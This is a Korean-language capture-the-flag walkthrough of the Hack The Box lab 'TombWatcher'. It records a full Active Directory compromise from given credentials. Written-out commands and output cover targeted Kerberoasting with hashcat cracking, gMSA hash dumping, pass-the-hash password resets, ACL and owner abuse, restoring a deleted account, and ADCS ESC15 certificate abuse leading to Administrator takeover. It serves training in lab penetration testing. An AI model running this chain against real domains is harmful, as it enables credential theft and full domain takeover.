
As is common in real life Windows pentests,
you will start the TombWatcher box with credentials for the following account: henry / H3nry_987TGV!
INFORMATION GATHERING
PORT SCANNING - TCP
- 88, 389, 636 등 도메인 컨트롤러에서 볼 수 있는 다수의 포트 확인
➜ htb nmap -p- -sC -sV 10.129.232.167 -oN 10.129.232.167
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-15 10:53 KST
Nmap scan report for 10.129.232.167
Host is up (0.34s latency).
Not shown: 65514 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-title: IIS Windows Server
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-10-15 06:04:40Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-10-15T06:06:18+00:00; +3h59m59s from scanner time.
| ssl-cert: Subject: commonName=DC01.tombwatcher.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.tombwatcher.htb
| Not valid before: 2024-11-16T00:47:59
|_Not valid after: 2025-11-16T00:47:59
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-10-15T06:06:17+00:00; +3h59m59s from scanner time.
| ssl-cert: Subject: commonName=DC01.tombwatcher.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.tombwatcher.htb
| Not valid before: 2024-11-16T00:47:59
|_Not valid after: 2025-11-16T00:47:59
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-10-15T06:06:18+00:00; +3h59m59s from scanner time.
| ssl-cert: Subject: commonName=DC01.tombwatcher.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.tombwatcher.htb
| Not valid before: 2024-11-16T00:47:59
|_Not valid after: 2025-11-16T00:47:59
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: tombwatcher.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.tombwatcher.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.tombwatcher.htb
| Not valid before: 2024-11-16T00:47:59
|_Not valid after: 2025-11-16T00:47:59
|_ssl-date: 2025-10-15T06:06:17+00:00; +3h59m59s from scanner time.
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf .NET Message Framing
49667/tcp open msrpc Microsoft Windows RPC
49693/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49694/tcp open msrpc Microsoft Windows RPC
49696/tcp open msrpc Microsoft Windows RPC
49716/tcp open msrpc Microsoft Windows RPC
50955/tcp open msrpc Microsoft Windows RPC
50989/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 3h59m58s, deviation: 0s, median: 3h59m58s
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2025-10-15T06:05:41
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 796.11 secondsPORT SCANNING - UDP
- 88 (udp/kerbeos-sec) 포트 개방 확인
➜ htb nmap -sU -sV -Pn -n --top-ports 100 10.129.232.167 -oN 10.129.232.167
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-15 10:53 KST
Nmap scan report for 10.129.232.167
Host is up (0.40s latency).
Not shown: 97 open|filtered udp ports (no-response)
PORT STATE SERVICE VERSION
53/udp open domain (generic dns response: NOTIMP)
88/udp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-10-15 05:53:12Z)
123/udp open ntp NTP v3
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-UDP:V=7.95%I=7%D=10/15%Time=68EEFE9A%P=x86_64-pc-linux-gnu%r(DNS
SF:-SD,2E,"\0\0\x80\x82\0\x01\0\0\0\0\0\0\t_services\x07_dns-sd\x04_udp\x0
SF:5local\0\0\x0c\0\x01")%r(NBTStat,32,"\x80\xf0\x80\x82\0\x01\0\0\0\0\0\0
SF:\x20CKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\0\0!\0\x01");
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windowsSMB enumeration
- SMB 쉐어 내 유용한 정보는 발견되지 않았다.
➜ / nxc smb 10.129.232.167 -u henry -p H3nry_987TGV! --shares
SMB 10.129.232.167 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:tombwatcher.htb) (signing:True) (SMBv1:False)
SMB 10.129.232.167 445 DC01 [+] tombwatcher.htb\henry:H3nry_987TGV!
SMB 10.129.232.167 445 DC01 [*] Enumerated shares
SMB 10.129.232.167 445 DC01 Share Permissions Remark
SMB 10.129.232.167 445 DC01 ----- ----------- ------
SMB 10.129.232.167 445 DC01 ADMIN$ Remote Admin
SMB 10.129.232.167 445 DC01 C$ Default share
SMB 10.129.232.167 445 DC01 IPC$ READ Remote IPC
SMB 10.129.232.167 445 DC01 NETLOGON READ Logon server share
SMB 10.129.232.167 445 DC01 SYSVOL READ Logon server shareDomain user enumeration
- Alfred, sam, john 계정이 확인되었다.
➜ / nxc smb 10.129.232.167 -u henry -p H3nry_987TGV! --users-export ~/htb/TombWatcher/recon/users
SMB 10.129.232.167 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:tombwatcher.htb) (signing:True) (SMBv1:False)
SMB 10.129.232.167 445 DC01 [+] tombwatcher.htb\henry:H3nry_987TGV!
SMB 10.129.232.167 445 DC01 -Username- -Last PW Set- -BadPW- -Description-
SMB 10.129.232.167 445 DC01 Administrator 2025-04-25 14:56:03 0 Built-in account for administering the computer/domain
SMB 10.129.232.167 445 DC01 Guest <never> 0 Built-in account for guest access to the computer/domain
SMB 10.129.232.167 445 DC01 krbtgt 2024-11-16 00:02:28 0 Key Distribution Center Service Account
SMB 10.129.232.167 445 DC01 Henry 2025-05-12 15:17:03 0
SMB 10.129.232.167 445 DC01 Alfred 2025-05-12 15:17:03 0
SMB 10.129.232.167 445 DC01 sam 2025-05-12 15:17:03 0
SMB 10.129.232.167 445 DC01 john 2025-05-19 13:25:10 0
SMB 10.129.232.167 445 DC01 [*] Enumerated 7 local users: TOMBWATCHER
SMB 10.129.232.167 445 DC01 [*] Writing 7 local users to /root/htb/TombWatcher/recon/users
bloodhound-python
- LDAP 정보 수집 후 블러드하운드로 분석을 진행한다.
➜ htb ntpdate 10.129.232.167
2025-10-15 16:36:37.675462 (+0900) +14399.125589 +/- 0.042300 10.129.232.167 s1 no-leap
CLOCK: time stepped by 14399.125589
➜ htb rdate -n 10.129.232.167
Wed Oct 15 16:36:45 KST 2025
➜ htb bloodhound-python -d tombwatcher.htb -u henry -p 'H3nry_987TGV!' -ns 10.129.232.167 -dc dc01.tombwatcher.htb -c All --zip
[ . . . ]
INFO: Compressing output into 20251015163649_bloodhound.zip- 최초에 주어진 계정
henry는alfred계정에 대한 WriteSPN 권한이 존재했다. alfred계정을 타겟으로 커버로스팅 공격을 수행하여 권한 확보를 시도한다.

alfred계정의 krb5tgs$23 해시 값을 획득했다.
➜ targetedKerberoast git:(main) ✗ python targetedKerberoast.py -d tombwatcher.htb --request-user alfred --dc-host 10.129.232.167 -u henry -p 'H3nry_987TGV!'
[*] Starting kerberoast attacks
[*] Attacking user (alfred)
[+] Printing hash for (Alfred)
$krb5tgs$23$*Alfred$TOMBWATCHER.HTB$tombwatcher.htb/Alfred*$f1612867fc97dbc0ba3d136209ad1e77$d38985b363c0088bfc9ffe11e94b9c364ade193f1ccf21d8b1b31cfaf3947ec0200355c5e2c22727706525ccecafc2845faf18ac615cb3c31f631286b7565dac245a94a3adb1ad4f42f39d918cff9000c3e4b5ae5541384c9eb2223351a814b13a8c3893c782fb0b3be74a66a3fd09ccb2ca1ea38b6ac3e7942fc3f48855638af37267563d42e052f657a43afba7eb6767baae51d218198e06c6dd7dd4896d131f2f5bfdd06b54d7a17df90e9b60c9b92f50af79a1db91b5134eefcb19a49db05f454a2f6fcdd6c01caff908f9ffd664007e1930bab8358833d286bac8bf7c0b9094b7dd616fc5b9222805755c18247ca09b9883373b5a03946ede46ac00c8d1afec514aef440de3915c4ad3de85d50c39175030864e9b131aab1a695c6823f07944c5f529afccc48eba8ed0b0a9f42ef690c60303b4ab889867d1185b1d298a7c94f3b6ebb4ec54d0d6dbc0407ffcf6d02c40af9af8ce7b9122b449c994c2871eee1927f99743f0ffe63679372d98ac7f9e4cc3f6760403539ecd1c0a78c72c90fb53ccc094d89cef0ae8cc13109bb34f11e407eeda6636ea5101e1691f900b5ddca44c08d89a4625d83df4e59e8d0bd266a48cc8987341c33ecc0b85d31a5e3983642c19c617617083e40cf312f6a3c583ef177131565be864c86b25cc2b57d0457de600be3a903636a73e5f5879545752b739242dd5d16f3e23e8a4637a9beec30f152a45827cf6433c0099060f21d69baa4707e557deaeba473cea6a6f34e3f963dfcad4f7c001c3262204ad8af3cd299dde81f2588e194ccd293ccd919bbe967625fb821961f6c6c02d9bc9d1d5d828a1b577fe4dd25e39dc9388535557ed34d4bd9a13d421b10bc3039b132d9405a1fddda6dd9396e3ad1d63e76acbe00ed23fb96771252f851eed9370a91984868c59e39ee7ac48ff13e9039af9a935246367b5cd9079d0739962b41332ec9949c54ccf5e0e74a683dc87b6847b3178c571838d1354cc36700fd11a9ed5743d52fbe2d556fb74fe70342c22637535b11005250b62d78f6524a0d0339213f5a967da8c78621ee9f31dad6b2c70a53e41ece3e6f29aa10749fb86ad0e407c6047a001402b3c5b4bc6df5f68d046e451c83b201fe1d9b4c2e82df72e0bd3b5994e32d5f94ffa1f609601233733485c8179ff5a15474e6298f009724655bbd0179489710dcdf5ab2b3a374670ce05f1fc996dc725be47d949a1294cbda5864f025ddd2cacfe1718b1ffdcb9d99a3fc77f7ad40b1353ddf74c4af2dcd923f1d0abea5bcc40af17b52eb9370f024148f47d50d986a41090ad62f62a04587acbc517cd9b40ffbb392b4f6b34af7347609dc2d860e42a2a38ee5fd8ec41c17e6de65357d9edf3cfa477fed3eb06d40c2397946fa23a7a758221073937129483bf444015216e42b911733193a3433d7c49a0db1b497dbd6d1a1c7f45ad4d551b86394ab89f9b2dc931- 위 값은 hashcat 해시 모드 13100에 해당한다.

Cracking krb5tgs$23 hash
- 해시 크래킹에 성공하여
alfred계정의 평문 패스워드 정보를 획득했다.
➜ targetedKerberoast git:(main) ✗ hashcat -m 13100 alfred.hash /usr/share/wordlists/rockyou.txt --force
- NXC 도구로
alfred계정이 유효한 것을 확인했다. (alfred / basketball)
AddSelf
Alfred계정은 자기 자신을INFRASTRUCTURE그룹에 추가하는 것이 가능했다.

- AddSelf 권한을 이용하여
Alfred계정을 Infrastructure 그룹으로 추가하려 했으나 실패했다.. . . NT_STATUS_ACCESS_DENIED . . .
➜ recon net rpc group addmem "INFRASTRUCTURE" "ALFRED" -U "TOMBWATCHER.HTB"/"ALFRED"%"basketball" -S 10.129.232.167
Could not add ALFRED to INFRASTRUCTURE: NT_STATUS_ACCESS_DENIEDbloodyAD도구를 활용하여 Alfred 계정을 Infrastructure 그룹의 멤버로 추가하는데 성공했다.

ReadGMSAPassword
- Infrastructure 그룹은
ANSIBLE_DEV서비스 계정의 패스워드 읽기 권한이 있다.

- 서비스 계정(
ANSIBLE_DEV$)의 NT 해시 값을 읽기 위해 gMSADumper 도구를 Github 에서 가져왔다.
➜ opt git clone https://github.com/micahvandeusen/gMSADumper
Cloning into 'gMSADumper'...
remote: Enumerating objects: 54, done.
remote: Counting objects: 100% (54/54), done.
remote: Compressing objects: 100% (38/38), done.
remote: Total 54 (delta 22), reused 38 (delta 14), pack-reused 0 (from 0)
Receiving objects: 100% (54/54), 38.35 KiB | 9.59 MiB/s, done.
Resolving deltas: 100% (22/22), done.
➜ opt cd gMSADumper
➜ gMSADumper git:(main) ls
COPYING gMSADumper.py __init__.py README.md requirements.txtansible_dev$계정의 NT 해시 값을 얻는데 성공했다.- bf8b11e301f7ba3fdc616e5d4fa01c30

- bf8b11e301f7ba3fdc616e5d4fa01c30
ForceChangePassword
ANSIBLE_DEV$계정은SAM계정의 패스워드를 강제로 변경할 수 있는 권한이 존재했다.- 현재
ANSIBLE_DEV$계정의 평문 패스워드는 알지 못하므로, pth-net 도구를 사용했다.

pth-toolkit다운로드

sAM계정의 패스워드 변경에 성공했다.
➜ pth-toolkit git:(master) pth-net rpc password "sAM" "newP@ssword2025" -U "tombwatcher"/"ansible_dev$"%"00000000000000000000000000000000":"bf8b11e301f7ba3fdc616e5d4fa01c30" -S "10.129.232.167"
➜ pth-toolkit git:(master) nxc smb 10.129.232.167 -u sAM -p "newP@ssword2025"
WriteOwner
SAM계정은JOHN계정에 대하여WriteOwner권한이 존재했다.- Impacket-owneredit, Impacket-dacledit 를 이용하여, 소유주 및 권한 변경을 먼저 진행한다.
- 이 과정에 모두 성공하면,
SAM계정은JOHN계정에 대해 GenericAll 권한을 소유하게 되고, “TargetedKerberoast”, “Force Change Password”, “Shadow Credentials Attack” 공격을 수행할 수 있게 된다.

- 이 과정에 모두 성공하면,
(STEP 1) WriteOwner - owneredit
- 성공적으로
john계정의 소유주 변경에 성공했다.

(STEP 2) WriteOwner - dacledit
sAM - - - > john계정으로의GenericAll권한 설정도 성공했다.

(STEP 3) GenericAll - TargetedKerberoast
- TargetedKerberoast 공격을 통해
JOHN계정의 krb5tgs 해시화 된 패스워드 값을 획득했다.

(STEP 4) Cracking krb5tgs Hash
- 획득한 john 계정의 krb5tgs 해시 크래킹은 불가하였다.
- 다시 GenericAll 권한으로 돌아가서, 가능한 다른 공격을 진행해 보아야 한다.
➜ targetedKerberoast git:(main) ✗ hashcat -m 13100 john.hash /usr/share/wordlists/rockyou.txt --force
(STEP 5) GenericAll - Force Change Password
- GenericAll 권한을 이용하여
JOHN계정의 패스워드 변경에 성공했다. (john / newP@ssword2025)

INITIAL ACCESS
JOHN계정은REMOTE MANAGEMENT USERS그룹의 멤버에 속해 WinRM 원격 접속이 가능한 계정이었다.

JOHN계정으로 초기 침투 및 플래그 확인에 성공했다.

POST EXPLOIT
- JOHN 계정은
ADCS (Organization Unit)에 대해 GenericAll 권한이 존재했다.

- impacket-dacledit 을 사용하여
john계정에게ADCSOU에 대한 GenericAll 권한을 갖도록 설정한다.

- certipy 도구를 사용하여 도메인 컨트롤러 내 존재하는 인증서 템플릿 정보를 수집했다.
- 이 과정에서 공략 가능한 취약점은 발견되지 않았지만, 계정명이 아닌 SID 값으로 출력되는 계정이 확인됐다.
(certipy) ➜ opt certipy find -u 'john@tombwatcher.htb' -p 'newP@ssword2025' -dc-ip '10.129.232.167'
- (1) 호스트 내부에서 Get-ADObject 를 통해 “AD Recycle Bin” 에 존재하는 삭제된 객체들(즉, isDeleted=True인 항목들)의 모든 속성을 확인했다.
tombwatcher.htb/Deleted Objects/cert_admin계정에 대한 정보를 획득했다.- DistinguishedName: CN=cert_admin\0ADEL:938182…
- LastKnownParent: OU=ADCS,DC=tombwatcher,DC=htb
- (2)
cert_admin계정은OU=ADCS,DC=tombwatcher,DC=htb의 자식 객체임을 확인했다.john계정은 ADCS OU에 대한 GenericAll 권한이 존재하므로,cert_admin에도 GenericAll 권한 사용이 적용된다.
# 1. 삭제된 객체 목록 보기
Get-ADObject -Filter 'isDeleted -eq $true' -IncludeDeletedObjects -Properties displayName,lastKnownParent,whenChanged |
Select-Object displayName,lastKnownParent,whenChanged
# 2. 특정 사용자(User1) 복구 가능 여부 확인
Get-ADObject -Filter { displayName -like "User1*" -and isDeleted -eq $true } -IncludeDeletedObjects
# 3. 복구(restore) 예시
Restore-ADObject -Identity "CN=User1\0ADEL:XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX,CN=Deleted Objects,DC=domain,DC=com"
[ . . . ]
*Evil-WinRM* PS C:\Users\john\Documents> Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *
cert_admin계정의 DistinguishedName, LastKnownParent 정보를 활용하여 계정 복구를 시도했다. (복구 성공)

- bloodyAD를 사용해도 계정 조회가 가능하다. (복구 성공)
(bloodyAD) ➜ tools bloodyAD --host dc01.tombwatcher.htb -d tombwatcher.htb -u john -p 'newP@ssword2025' get object cert_admin
- bloodyAD로
cert_admin계정의 패스워드를 새로 설정한다. (newP@ssword2025)cert_admin의 LastKnownParent 는OU=ADCS,DC=tombwatcher,DC=htb였다.john계정은 ADCS OU에 대한 GenericAll 권한이 존재하였으므로, 해당 OU의 자식들에 대한 패스워드 강제 변경(Force Change Password)도 가능했다.- (이전 과정에서 john → ADCS 으로의 GenericAll 권한을 할당했음)

- (이전 과정에서 john → ADCS 으로의 GenericAll 권한을 할당했음)
PRIVILEGE ESCALATION
ADCS - ESC15
- cert_admin 계정은 계정명에서 볼 수 있듯이, 인증서 관리자 계정으로 보인다.
- ADCS 관련 인증서 취약점이 존재하는지 검색한 결과, ESC15로 취약점 공략이 가능했다.
- CA Name: tombwatcher-CA-1
- Template Name: WebServer
(certipy) ➜ opt certipy find -u cert_admin -p 'newP@ssword2025' -dc-ip 10.129.232.167 -target tombwatcher.htb -enabled -vulnerable -stdout
cert_admin계정으로 로컬 관리자의 PFX 인증서 발급한 후, 이를 이용하여 ldap 쉘 획득이 가능했다.- 이후,
change_password커맨드로administrator계정의 패스워드 변경에 성공했다.- (패스워드 변경 이미지를.. 못 찍었다..)
(certipy) ➜ opt certipy req -u 'cert_admin@tombwatcher.htb' -p 'newP@ssword2025' -dc-ip '10.129.232.167' -target 'dc01.tombwatcher.htb' -ca 'tombwatcher-CA-1' -template 'WebServer' -upn 'administrator@tombwatcher.htb' -sid 'S-1-5-21-1392491010-1358638721-2126982587-500' -application-policies 'Client Authentication'
[ . . . ]
(certipy) ➜ opt certipy auth -pfx 'administrator.pfx' -dc-ip '10.129.232.167' -ldap-shell
[ . . . ]
# change_password administrator newP@ssword2025
- 이후 로컬 관리자(administrator) 계정으로 원격접속 후, 루트 플래그 획득에 성공했다.
